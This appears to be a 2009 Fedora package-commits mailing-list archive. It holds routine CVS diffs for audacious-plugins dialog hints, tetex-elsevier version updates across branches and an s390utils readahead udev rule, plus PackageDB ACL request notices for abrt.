diff -Nur audacious-plugins-fedora-2.1-orig/src/filewriter/filewriter.c audacious-plugins-fedora-2.1/src/filewriter/filewriter.c
--- audacious-plugins-fedora-2.1-orig/src/filewriter/filewriter.c	2009-07-07 00:40:36.000000000 +0200
+++ audacious-plugins-fedora-2.1/src/filewriter/filewriter.c	2009-10-30 11:11:43.850935262 +0100
@@ -426,6 +426,7 @@
     if (!configure_win)
     {
         configure_win = gtk_window_new(GTK_WINDOW_TOPLEVEL);
+        gtk_window_set_type_hint(GTK_WINDOW(configure_win), GDK_WINDOW_TYPE_HINT_DIALOG);
 
         gtk_signal_connect(GTK_OBJECT(configure_win), "destroy",
                            GTK_SIGNAL_FUNC(configure_destroy), NULL);
diff -Nur audacious-plugins-fedora-2.1-orig/src/filewriter/mp3.c audacious-plugins-fedora-2.1/src/filewriter/mp3.c
--- audacious-plugins-fedora-2.1-orig/src/filewriter/mp3.c	2009-07-07 00:40:36.000000000 +0200
+++ audacious-plugins-fedora-2.1/src/filewriter/mp3.c	2009-10-30 11:11:43.852935783 +0100
@@ -719,6 +719,7 @@
 
     if (!configure_win) {
         configure_win = gtk_window_new(GTK_WINDOW_TOPLEVEL);
+        gtk_window_set_type_hint(GTK_WINDOW(configure_win), GDK_WINDOW_TYPE_HINT_DIALOG);
 
         gtk_signal_connect(GTK_OBJECT(configure_win), "destroy",
                            GTK_SIGNAL_FUNC(gtk_widget_destroyed),
diff -Nur audacious-plugins-fedora-2.1-orig/src/filewriter/vorbis.c audacious-plugins-fedora-2.1/src/filewriter/vorbis.c
--- audacious-plugins-fedora-2.1-orig/src/filewriter/vorbis.c	2009-07-07 00:40:36.000000000 +0200
+++ audacious-plugins-fedora-2.1/src/filewriter/vorbis.c	2009-10-30 11:11:43.856931699 +0100
@@ -273,6 +273,7 @@
     if (configure_win == NULL)
     {
         configure_win = gtk_window_new(GTK_WINDOW_TOPLEVEL);
+        gtk_window_set_type_hint(GTK_WINDOW(configure_win), GDK_WINDOW_TYPE_HINT_DIALOG);
         g_signal_connect(G_OBJECT(configure_win), "destroy", G_CALLBACK(gtk_widget_destroyed), NULL);
 
         gtk_window_set_title(GTK_WINDOW(configure_win), _("Vorbis Encoder Configuration"));


Index: audacious-plugins.spec
===================================================================
RCS file: /cvs/pkgs/rpms/audacious-plugins/F-12/audacious-plugins.spec,v
retrieving revision 1.57
retrieving revision 1.58
diff -u -p -r1.57 -r1.58
--- audacious-plugins.spec	29 Oct 2009 12:14:28 -0000	1.57
+++ audacious-plugins.spec	30 Oct 2009 10:15:55 -0000	1.58
@@ -5,7 +5,7 @@
 
 Name: audacious-plugins
 Version: 2.1
-Release: 10%{?dist}
+Release: 11%{?dist}
 Summary: Plugins for the Audacious media player
 Group: Applications/Multimedia
 URL: http://audacious-media-player.org/
@@ -30,6 +30,7 @@ Patch5: audacious-plugins-2.1-pulseaudio
 Patch6: audacious-plugins-2.1-pulseaudio-volume-accuracy.patch
 Patch7: audacious-plugins-2.1-modplug.patch
 Patch8: audacious-plugins-2.1-sndfile-playfix.patch
+Patch9: audacious-plugins-2.1-filewriter-dialogs.patch
 
 BuildRequires: audacious-devel >= %{aud_ver}
 BuildRequires: jack-audio-connection-kit-devel libsamplerate-devel
@@ -158,6 +159,7 @@ vortex compressed files.
 %patch6 -p1 -b .pulseaudio-volume-accuracy
 %patch7 -p1 -b .modplug
 %patch8 -p1 -b .sndfile-playfix
+%patch9 -p1 -b .filewriter-dialogs
 
 sed -i '\,^.SILENT:,d' buildsys.mk.in
 
@@ -241,6 +243,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 30 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.1-11
+- Fix non-top-level filewriter plugin dialogs.
+
 * Thu Oct 29 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.1-10
 - Remove decode_thread from sndfile plugin to fix playback.
 



From pkgdb at fedoraproject.org  Fri Oct 30 11:26:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 11:26:27 +0000
Subject: [pkgdb] abrt: aarapov has requested watchcommits
Message-ID: <20091030112627.ED03110F7F5@bastion2.fedora.phx.redhat.com>

aarapov has requested the watchcommits acl on abrt (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/abrt



From pkgdb at fedoraproject.org  Fri Oct 30 11:26:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 11:26:28 +0000
Subject: [pkgdb] abrt: aarapov has requested commit
Message-ID: <20091030112628.BC03410F86A@bastion2.fedora.phx.redhat.com>

aarapov has requested the commit acl on abrt (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/abrt



From mef at fedoraproject.org  Fri Oct 30 11:26:40 2009
From: mef at fedoraproject.org (mef)
Date: Fri, 30 Oct 2009 11:26:40 +0000 (UTC)
Subject: rpms/tetex-elsevier/F-10 .cvsignore, 1.4, 1.5 sources, 1.4,
	1.5 tetex-elsevier.spec, 1.6, 1.7
Message-ID: <20091030112640.D728811C00E8@cvs1.fedora.phx.redhat.com>

Author: mef

Update of /cvs/pkgs/rpms/tetex-elsevier/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21432/F-10

Modified Files:
	.cvsignore sources tetex-elsevier.spec 
Log Message:
Update to new upstream version


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/tetex-elsevier/F-10/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	22 Jun 2009 09:32:52 -0000	1.4
+++ .cvsignore	30 Oct 2009 11:26:39 -0000	1.5
@@ -1,2 +1 @@
 elsarticle.zip
-elsdoc.pdf


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/tetex-elsevier/F-10/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	22 Jun 2009 09:32:53 -0000	1.4
+++ sources	30 Oct 2009 11:26:40 -0000	1.5
@@ -1,2 +1 @@
-160c27465a65bf462b8355a4c3a1628f  elsarticle.zip
-98eac83baad6e3ef0ffd140acf903673  elsdoc.pdf
+aa820be9adeb55f71aedd8ab7987f94f  elsarticle.zip


Index: tetex-elsevier.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tetex-elsevier/F-10/tetex-elsevier.spec,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- tetex-elsevier.spec	22 Jun 2009 09:55:53 -0000	1.6
+++ tetex-elsevier.spec	30 Oct 2009 11:26:40 -0000	1.7
@@ -1,10 +1,10 @@
 %define texmf   %{_datadir}/texmf
 
 Name:           tetex-elsevier
-# upstream is unversionned, the version is constructed with the latest 
+# upstream is unversioned, the version is constructed with the latest 
 # file timestamp, in the format YYYYMMDD
-Version:        0.1.20081007
-Release:        2%{?dist}
+Version:        0.1.20090917
+Release:        1%{?dist}
 Summary:        Elsevier LaTeX style files and documentation
 
 Group:          Applications/Publishing
@@ -26,7 +26,6 @@ Source13:       http://www.elsevier.com/
 Source14:       http://www.elsevier.com/framework_authors/misc/README
 Source15:       http://www.elsevier.com/framework_authors/misc/instructions-num.tex
 Source16:       http://www.elsevier.com/framework_authors/misc/instructions-harv.tex
-Source17:       http://www.elsevier.com/framework_authors/misc/elsdoc.pdf
 Source18:       README.package
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -42,13 +41,14 @@ LaTeX style files and documentation for 
 %setup -q -c
 cp -p %{SOURCE1} %{SOURCE2} %{SOURCE3} %{SOURCE4} \
  %{SOURCE7} %{SOURCE8} %{SOURCE9} %{SOURCE10} %{SOURCE11} %{SOURCE12} \
- %{SOURCE13} %{SOURCE15} %{SOURCE16} %{SOURCE17} %{SOURCE18} .
+ %{SOURCE13} %{SOURCE15} %{SOURCE16} %{SOURCE18} .
 # There's already a README in the elsarticle zip file, so rename this one
 cp -p %{SOURCE14} ./README.elsart
 mv README README.elsarticle
+mv CHANGES CHANGES.elsart
 
 # remove dos end of lines and keep timestamps
-for file in CHANGES *.cls *.bst *.tex; do
+for file in CHANGES.* *.cls *.bst *.tex; do
   sed -e 's/\r//' $file > $file.tmp
   touch -r $file $file.tmp
   mv $file.tmp $file
@@ -80,12 +80,15 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc README.* CHANGES *.pdf template-*.tex
+%doc README.* CHANGES.* *.pdf template-*.tex
 %{texmf}/tex/latex/elsevier/
 %{texmf}/bibtex/bst/elsevier/
 
 
 %changelog
+* Fri Oct 30 2009 Mary Ellen Foster <mefoster at gmail.com> - 0.1.20090917-1
+- Update to new upstream version
+
 * Mon Jun 22 2009 Mary Ellen Foster <mefoster at gmail.com> - 0.1.20081024-2
 - Better location for the elsarticle files
 



From mef at fedoraproject.org  Fri Oct 30 11:26:41 2009
From: mef at fedoraproject.org (mef)
Date: Fri, 30 Oct 2009 11:26:41 +0000 (UTC)
Subject: rpms/tetex-elsevier/F-12 .cvsignore, 1.4, 1.5 sources, 1.4,
	1.5 tetex-elsevier.spec, 1.8, 1.9
Message-ID: <20091030112641.9952A11C00E8@cvs1.fedora.phx.redhat.com>

Author: mef

Update of /cvs/pkgs/rpms/tetex-elsevier/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21432/F-12

Modified Files:
	.cvsignore sources tetex-elsevier.spec 
Log Message:
Update to new upstream version


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/tetex-elsevier/F-12/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	22 Jun 2009 09:32:54 -0000	1.4
+++ .cvsignore	30 Oct 2009 11:26:41 -0000	1.5
@@ -1,2 +1 @@
 elsarticle.zip
-elsdoc.pdf


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/tetex-elsevier/F-12/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	22 Jun 2009 09:32:54 -0000	1.4
+++ sources	30 Oct 2009 11:26:41 -0000	1.5
@@ -1,2 +1 @@
-160c27465a65bf462b8355a4c3a1628f  elsarticle.zip
-98eac83baad6e3ef0ffd140acf903673  elsdoc.pdf
+aa820be9adeb55f71aedd8ab7987f94f  elsarticle.zip


Index: tetex-elsevier.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tetex-elsevier/F-12/tetex-elsevier.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- tetex-elsevier.spec	27 Jul 2009 05:49:32 -0000	1.8
+++ tetex-elsevier.spec	30 Oct 2009 11:26:41 -0000	1.9
@@ -1,10 +1,10 @@
 %define texmf   %{_datadir}/texmf
 
 Name:           tetex-elsevier
-# upstream is unversionned, the version is constructed with the latest 
+# upstream is unversioned, the version is constructed with the latest 
 # file timestamp, in the format YYYYMMDD
-Version:        0.1.20081007
-Release:        3%{?dist}
+Version:        0.1.20090917
+Release:        1%{?dist}
 Summary:        Elsevier LaTeX style files and documentation
 
 Group:          Applications/Publishing
@@ -26,7 +26,6 @@ Source13:       http://www.elsevier.com/
 Source14:       http://www.elsevier.com/framework_authors/misc/README
 Source15:       http://www.elsevier.com/framework_authors/misc/instructions-num.tex
 Source16:       http://www.elsevier.com/framework_authors/misc/instructions-harv.tex
-Source17:       http://www.elsevier.com/framework_authors/misc/elsdoc.pdf
 Source18:       README.package
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -42,13 +41,14 @@ LaTeX style files and documentation for 
 %setup -q -c
 cp -p %{SOURCE1} %{SOURCE2} %{SOURCE3} %{SOURCE4} \
  %{SOURCE7} %{SOURCE8} %{SOURCE9} %{SOURCE10} %{SOURCE11} %{SOURCE12} \
- %{SOURCE13} %{SOURCE15} %{SOURCE16} %{SOURCE17} %{SOURCE18} .
+ %{SOURCE13} %{SOURCE15} %{SOURCE16} %{SOURCE18} .
 # There's already a README in the elsarticle zip file, so rename this one
 cp -p %{SOURCE14} ./README.elsart
 mv README README.elsarticle
+mv CHANGES CHANGES.elsart
 
 # remove dos end of lines and keep timestamps
-for file in CHANGES *.cls *.bst *.tex; do
+for file in CHANGES.* *.cls *.bst *.tex; do
   sed -e 's/\r//' $file > $file.tmp
   touch -r $file $file.tmp
   mv $file.tmp $file
@@ -80,12 +80,15 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc README.* CHANGES *.pdf template-*.tex
+%doc README.* CHANGES.* *.pdf template-*.tex
 %{texmf}/tex/latex/elsevier/
 %{texmf}/bibtex/bst/elsevier/
 
 
 %changelog
+* Fri Oct 30 2009 Mary Ellen Foster <mefoster at gmail.com> - 0.1.20090917-1
+- Update to new upstream version
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.1.20081007-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From mef at fedoraproject.org  Fri Oct 30 11:26:41 2009
From: mef at fedoraproject.org (mef)
Date: Fri, 30 Oct 2009 11:26:41 +0000 (UTC)
Subject: rpms/tetex-elsevier/F-11 .cvsignore, 1.4, 1.5 sources, 1.4,
	1.5 tetex-elsevier.spec, 1.8, 1.9
Message-ID: <20091030112641.2AD6B11C00E8@cvs1.fedora.phx.redhat.com>

Author: mef

Update of /cvs/pkgs/rpms/tetex-elsevier/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21432/F-11

Modified Files:
	.cvsignore sources tetex-elsevier.spec 
Log Message:
Update to new upstream version


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/tetex-elsevier/F-11/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	22 Jun 2009 09:32:53 -0000	1.4
+++ .cvsignore	30 Oct 2009 11:26:40 -0000	1.5
@@ -1,2 +1 @@
 elsarticle.zip
-elsdoc.pdf


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/tetex-elsevier/F-11/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	22 Jun 2009 09:32:54 -0000	1.4
+++ sources	30 Oct 2009 11:26:40 -0000	1.5
@@ -1,2 +1 @@
-160c27465a65bf462b8355a4c3a1628f  elsarticle.zip
-98eac83baad6e3ef0ffd140acf903673  elsdoc.pdf
+aa820be9adeb55f71aedd8ab7987f94f  elsarticle.zip


Index: tetex-elsevier.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tetex-elsevier/F-11/tetex-elsevier.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- tetex-elsevier.spec	22 Jun 2009 09:55:53 -0000	1.8
+++ tetex-elsevier.spec	30 Oct 2009 11:26:40 -0000	1.9
@@ -1,10 +1,10 @@
 %define texmf   %{_datadir}/texmf
 
 Name:           tetex-elsevier
-# upstream is unversionned, the version is constructed with the latest 
+# upstream is unversioned, the version is constructed with the latest 
 # file timestamp, in the format YYYYMMDD
-Version:        0.1.20081007
-Release:        2%{?dist}
+Version:        0.1.20090917
+Release:        1%{?dist}
 Summary:        Elsevier LaTeX style files and documentation
 
 Group:          Applications/Publishing
@@ -26,7 +26,6 @@ Source13:       http://www.elsevier.com/
 Source14:       http://www.elsevier.com/framework_authors/misc/README
 Source15:       http://www.elsevier.com/framework_authors/misc/instructions-num.tex
 Source16:       http://www.elsevier.com/framework_authors/misc/instructions-harv.tex
-Source17:       http://www.elsevier.com/framework_authors/misc/elsdoc.pdf
 Source18:       README.package
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -42,13 +41,14 @@ LaTeX style files and documentation for 
 %setup -q -c
 cp -p %{SOURCE1} %{SOURCE2} %{SOURCE3} %{SOURCE4} \
  %{SOURCE7} %{SOURCE8} %{SOURCE9} %{SOURCE10} %{SOURCE11} %{SOURCE12} \
- %{SOURCE13} %{SOURCE15} %{SOURCE16} %{SOURCE17} %{SOURCE18} .
+ %{SOURCE13} %{SOURCE15} %{SOURCE16} %{SOURCE18} .
 # There's already a README in the elsarticle zip file, so rename this one
 cp -p %{SOURCE14} ./README.elsart
 mv README README.elsarticle
+mv CHANGES CHANGES.elsart
 
 # remove dos end of lines and keep timestamps
-for file in CHANGES *.cls *.bst *.tex; do
+for file in CHANGES.* *.cls *.bst *.tex; do
   sed -e 's/\r//' $file > $file.tmp
   touch -r $file $file.tmp
   mv $file.tmp $file
@@ -80,12 +80,15 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc README.* CHANGES *.pdf template-*.tex
+%doc README.* CHANGES.* *.pdf template-*.tex
 %{texmf}/tex/latex/elsevier/
 %{texmf}/bibtex/bst/elsevier/
 
 
 %changelog
+* Fri Oct 30 2009 Mary Ellen Foster <mefoster at gmail.com> - 0.1.20090917-1
+- Update to new upstream version
+
 * Mon Jun 22 2009 Mary Ellen Foster <mefoster at gmail.com> - 0.1.20081024-2
 - Better location for the elsarticle files
 



From pkgdb at fedoraproject.org  Fri Oct 30 11:26:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 30 Oct 2009 11:26:44 +0000
Subject: [pkgdb] abrt: aarapov has requested watchbugzilla
Message-ID: <20091030112644.5E4FF10F87F@bastion2.fedora.phx.redhat.com>

aarapov has requested the watchbugzilla acl on abrt (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/abrt



From mef at fedoraproject.org  Fri Oct 30 11:26:42 2009
From: mef at fedoraproject.org (mef)
Date: Fri, 30 Oct 2009 11:26:42 +0000 (UTC)
Subject: rpms/tetex-elsevier/devel .cvsignore, 1.4, 1.5 sources, 1.4,
	1.5 tetex-elsevier.spec, 1.8, 1.9
Message-ID: <20091030112642.25FF511C00E8@cvs1.fedora.phx.redhat.com>

Author: mef

Update of /cvs/pkgs/rpms/tetex-elsevier/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21432/devel

Modified Files:
	.cvsignore sources tetex-elsevier.spec 
Log Message:
Update to new upstream version


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/tetex-elsevier/devel/.cvsignore,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- .cvsignore	22 Jun 2009 09:32:54 -0000	1.4
+++ .cvsignore	30 Oct 2009 11:26:41 -0000	1.5
@@ -1,2 +1 @@
 elsarticle.zip
-elsdoc.pdf


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/tetex-elsevier/devel/sources,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sources	22 Jun 2009 09:32:54 -0000	1.4
+++ sources	30 Oct 2009 11:26:41 -0000	1.5
@@ -1,2 +1 @@
-160c27465a65bf462b8355a4c3a1628f  elsarticle.zip
-98eac83baad6e3ef0ffd140acf903673  elsdoc.pdf
+aa820be9adeb55f71aedd8ab7987f94f  elsarticle.zip


Index: tetex-elsevier.spec
===================================================================
RCS file: /cvs/pkgs/rpms/tetex-elsevier/devel/tetex-elsevier.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- tetex-elsevier.spec	27 Jul 2009 05:49:32 -0000	1.8
+++ tetex-elsevier.spec	30 Oct 2009 11:26:41 -0000	1.9
@@ -1,10 +1,10 @@
 %define texmf   %{_datadir}/texmf
 
 Name:           tetex-elsevier
-# upstream is unversionned, the version is constructed with the latest 
+# upstream is unversioned, the version is constructed with the latest 
 # file timestamp, in the format YYYYMMDD
-Version:        0.1.20081007
-Release:        3%{?dist}
+Version:        0.1.20090917
+Release:        1%{?dist}
 Summary:        Elsevier LaTeX style files and documentation
 
 Group:          Applications/Publishing
@@ -26,7 +26,6 @@ Source13:       http://www.elsevier.com/
 Source14:       http://www.elsevier.com/framework_authors/misc/README
 Source15:       http://www.elsevier.com/framework_authors/misc/instructions-num.tex
 Source16:       http://www.elsevier.com/framework_authors/misc/instructions-harv.tex
-Source17:       http://www.elsevier.com/framework_authors/misc/elsdoc.pdf
 Source18:       README.package
 
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -42,13 +41,14 @@ LaTeX style files and documentation for 
 %setup -q -c
 cp -p %{SOURCE1} %{SOURCE2} %{SOURCE3} %{SOURCE4} \
  %{SOURCE7} %{SOURCE8} %{SOURCE9} %{SOURCE10} %{SOURCE11} %{SOURCE12} \
- %{SOURCE13} %{SOURCE15} %{SOURCE16} %{SOURCE17} %{SOURCE18} .
+ %{SOURCE13} %{SOURCE15} %{SOURCE16} %{SOURCE18} .
 # There's already a README in the elsarticle zip file, so rename this one
 cp -p %{SOURCE14} ./README.elsart
 mv README README.elsarticle
+mv CHANGES CHANGES.elsart
 
 # remove dos end of lines and keep timestamps
-for file in CHANGES *.cls *.bst *.tex; do
+for file in CHANGES.* *.cls *.bst *.tex; do
   sed -e 's/\r//' $file > $file.tmp
   touch -r $file $file.tmp
   mv $file.tmp $file
@@ -80,12 +80,15 @@ rm -rf $RPM_BUILD_ROOT
 
 %files
 %defattr(-,root,root,-)
-%doc README.* CHANGES *.pdf template-*.tex
+%doc README.* CHANGES.* *.pdf template-*.tex
 %{texmf}/tex/latex/elsevier/
 %{texmf}/bibtex/bst/elsevier/
 
 
 %changelog
+* Fri Oct 30 2009 Mary Ellen Foster <mefoster at gmail.com> - 0.1.20090917-1
+- Update to new upstream version
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.1.20081007-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From sharkcz at fedoraproject.org  Fri Oct 30 11:36:55 2009
From: sharkcz at fedoraproject.org (=?utf-8?q?Dan_Hor=C3=A1k?=)
Date: Fri, 30 Oct 2009 11:36:55 +0000 (UTC)
Subject: rpms/s390utils/F-11
	0011-update-readahead-value-for-better-performance.patch, NONE,
	1.1 s390utils.spec, 1.11, 1.12 dasd.udev, 1.1, NONE
Message-ID: <20091030113655.AB47C11C00E8@cvs1.fedora.phx.redhat.com>

Author: sharkcz

Update of /cvs/pkgs/rpms/s390utils/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25001

Modified Files:
	s390utils.spec 
Added Files:
	0011-update-readahead-value-for-better-performance.patch 
Removed Files:
	dasd.udev 
Log Message:
* Fri Oct 30 2009 Dan Hor?k <dan[at]danny.cz> 2:1.8.2-2
- install dasd udev rules provided by the s390-tools
- added patch for setting readahead value


0011-update-readahead-value-for-better-performance.patch:
 60-readahead.rules |   14 +++++++++++++-
 1 file changed, 13 insertions(+), 1 deletion(-)

--- NEW FILE 0011-update-readahead-value-for-better-performance.patch ---
>From 5707bfdf0aac985e8e82c9a5004eb458d1d79801 Mon Sep 17 00:00:00 2001
From: =?utf-8?q?Dan=20Hor=C3=A1k?= <dan at danny.cz>
Date: Fri, 30 Oct 2009 11:23:08 +0100
Subject: [PATCH] update readahead value for better performance

Description: dasd,zfcp: Add udev rule to set increased "default max readahead"
Symptom:     Sequential read performance on disks is not as good as it could be.
Problem:     The current "default max readahead" defined by the kernel is too
             small for s390 (128 kb).
Solution:    Add udev rule to set a better default value (512 kb). This will
             increase sequential read performance up to 40%.
---
 etc/udev/rules.d/60-readahead.rules |   13 +++++++++++++
 1 files changed, 13 insertions(+), 0 deletions(-)
 create mode 100644 etc/udev/rules.d/60-readahead.rules

diff --git a/etc/udev/rules.d/60-readahead.rules b/etc/udev/rules.d/60-readahead.rules
new file mode 100644
index 0000000..3133c66
--- /dev/null
+++ b/etc/udev/rules.d/60-readahead.rules
@@ -0,0 +1,13 @@
+#
+# Rules to set an increased default max readahead size for s390 disk devices
+# This file should be installed in /etc/udev/rules.d
+#
+
+SUBSYSTEM!="block", GOTO="ra_end"
+
+ACTION!="add", GOTO="ra_end"
+# on device add set initial readahead to 512 (instead of in kernel 128)
+KERNEL=="sd*[!0-9]", ATTR{queue/read_ahead_kb}="512"
+KERNEL=="dasd*[!0-9]", ATTR{queue/read_ahead_kb}="512"
+
+LABEL="ra_end"
-- 
1.6.3.3



Index: s390utils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/s390utils/F-11/s390utils.spec,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- s390utils.spec	8 Oct 2009 13:52:52 -0000	1.11
+++ s390utils.spec	30 Oct 2009 11:36:55 -0000	1.12
@@ -8,7 +8,7 @@ Name:           s390utils
 Summary:        Utilities and daemons for IBM System/z
 Group:          System Environment/Base
 Version:        1.8.2
-Release:        1%{?dist}
+Release:        2%{?dist}
 Epoch:          2
 License:        GPLv2 and GPLv2+ and CPL
 Buildroot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -23,7 +23,6 @@ Source5:        zfcpconf.sh
 # http://www.ibm.com/developerworks/linux/linux390/src_vipa-%{vipaver}.html
 Source6:        http://download.boulder.ibm.com/ibmdl/pub/software/dw/linux390/ht_src/src_vipa-%{vipaver}.tar.gz
 Source7:        zfcp.udev
-Source8:        dasd.udev
 # http://www.ibm.com/developerworks/linux/linux390/zfcp-hbaapi-%{hbaapiver}.html
 Source9:        http://download.boulder.ibm.com/ibmdl/pub/software/dw/linux390/ht_src/lib-zfcp-hbaapi-%{hbaapiver}.tar.gz
 
@@ -37,6 +36,7 @@ Patch7:   0007-s390-tools-1.8.1-lszfcp-p
 Patch8:   0008-fix-string-overflow-in-vtoc_volume_label_init.patch
 Patch9:   0009-change-default-load-address-for-ramdisk.patch
 Patch10:  0010-improve-mon_statd-init-script.patch
+Patch11:  0011-update-readahead-value-for-better-performance.patch
 
 Patch100:       cmsfs-1.1.8-warnings.patch
 Patch101:       cmsfs-1.1.8-kernel26.patch
@@ -95,6 +95,9 @@ be used together with the zSeries (s390)
 # Improve mon_statd init script
 %patch10 -p1 -b .improve-mon_statd
 
+# Update readahead value for better performance
+%patch11 -p1 -b .readahead
+
 #
 # cmsfs
 #
@@ -163,7 +166,7 @@ popd
 %install
 rm -rf ${RPM_BUILD_ROOT}
 
-mkdir -p $RPM_BUILD_ROOT{%{_lib},%{_libdir},/sbin,/bin,/boot,%{_mandir}/man1,%{_mandir}/man8,%{_sbindir},%{_bindir},%{_sysconfdir}/{profile.d,udev/rules.d,rc.d/init.d,sysconfig}}
+mkdir -p $RPM_BUILD_ROOT{%{_lib},%{_libdir},/sbin,/bin,/boot,%{_mandir}/man1,%{_mandir}/man8,%{_sbindir},%{_bindir},%{_sysconfdir}/{profile.d,udev/rules.d,sysconfig},%{_initddir}}
 
 make install \
         INSTROOT=$RPM_BUILD_ROOT \
@@ -172,17 +175,11 @@ make install \
         DISTRELEASE=%{release} \
         V=1
 
-mkdir -p ${RPM_BUILD_ROOT}%{_sysconfdir}/sysconfig
-mkdir -p ${RPM_BUILD_ROOT}%{_initddir}
-mkdir -p ${RPM_BUILD_ROOT}%{_sysconfdir}/udev/rules.d
-mkdir -p ${RPM_BUILD_ROOT}/sbin
-
 install -p -m 644 zipl/boot/tape0.bin $RPM_BUILD_ROOT/boot/tape0
 install -p -m 644 %{SOURCE2} $RPM_BUILD_ROOT%{_sysconfdir}/profile.d
 install -p -m 644 %{SOURCE3} $RPM_BUILD_ROOT%{_sysconfdir}/profile.d
 install -p -m 755 %{SOURCE5} $RPM_BUILD_ROOT/sbin
 install -p -m 644 %{SOURCE7} $RPM_BUILD_ROOT%{_sysconfdir}/udev/rules.d/56-zfcp.rules
-install -p -m 644 %{SOURCE8} $RPM_BUILD_ROOT%{_sysconfdir}/udev/rules.d/56-dasd.rules
 
 install -p -m 644 etc/sysconfig/dumpconf ${RPM_BUILD_ROOT}%{_sysconfdir}/sysconfig
 install -p -m 755 etc/init.d/dumpconf ${RPM_BUILD_ROOT}%{_initddir}/dumpconf
@@ -193,7 +190,7 @@ install -p -m 755 etc/init.d/mon_statd $
 install -p -m 644 etc/sysconfig/cpuplugd ${RPM_BUILD_ROOT}%{_sysconfdir}/sysconfig
 install -p -m 755 etc/init.d/cpuplugd ${RPM_BUILD_ROOT}%{_initddir}/cpuplugd
 
-install -Dp -m 644 etc/udev/rules.d/57-osasnmpd.rules ${RPM_BUILD_ROOT}%{_sysconfdir}/udev/rules.d
+install -Dp -m 644 etc/udev/rules.d/*.rules ${RPM_BUILD_ROOT}%{_sysconfdir}/udev/rules.d
 
 # cmsfs tools must be available in /sbin
 install -p -m 755 cmsfs-%{cmsfsver}/cmsfscat $RPM_BUILD_ROOT/sbin
@@ -464,8 +461,9 @@ fi
 /boot/tape0
 %{_sysconfdir}/profile.d/s390.csh
 %{_sysconfdir}/profile.d/s390.sh
-%config(noreplace) %{_sysconfdir}/udev/rules.d/56-dasd.rules
 %config(noreplace) %{_sysconfdir}/udev/rules.d/56-zfcp.rules
+%config(noreplace) %{_sysconfdir}/udev/rules.d/59-dasd.rules
+%config(noreplace) %{_sysconfdir}/udev/rules.d/60-readahead.rules
 /sbin/zfcpconf.sh
 
 # src_vipa
@@ -760,6 +758,10 @@ User-space development files for the s39
 
 
 %changelog
+* Fri Oct 30 2009 Dan Hor?k <dan[at]danny.cz> 2:1.8.2-2
+- install dasd udev rules provided by the s390-tools
+- added patch for setting readahead value
+
 * Thu Oct  8 2009 Dan Hor?k <dan[at]danny.cz> 2:1.8.2-1
 - added patch for improving mon_statd behaviour
 - rebased to 1.8.2


--- dasd.udev DELETED ---



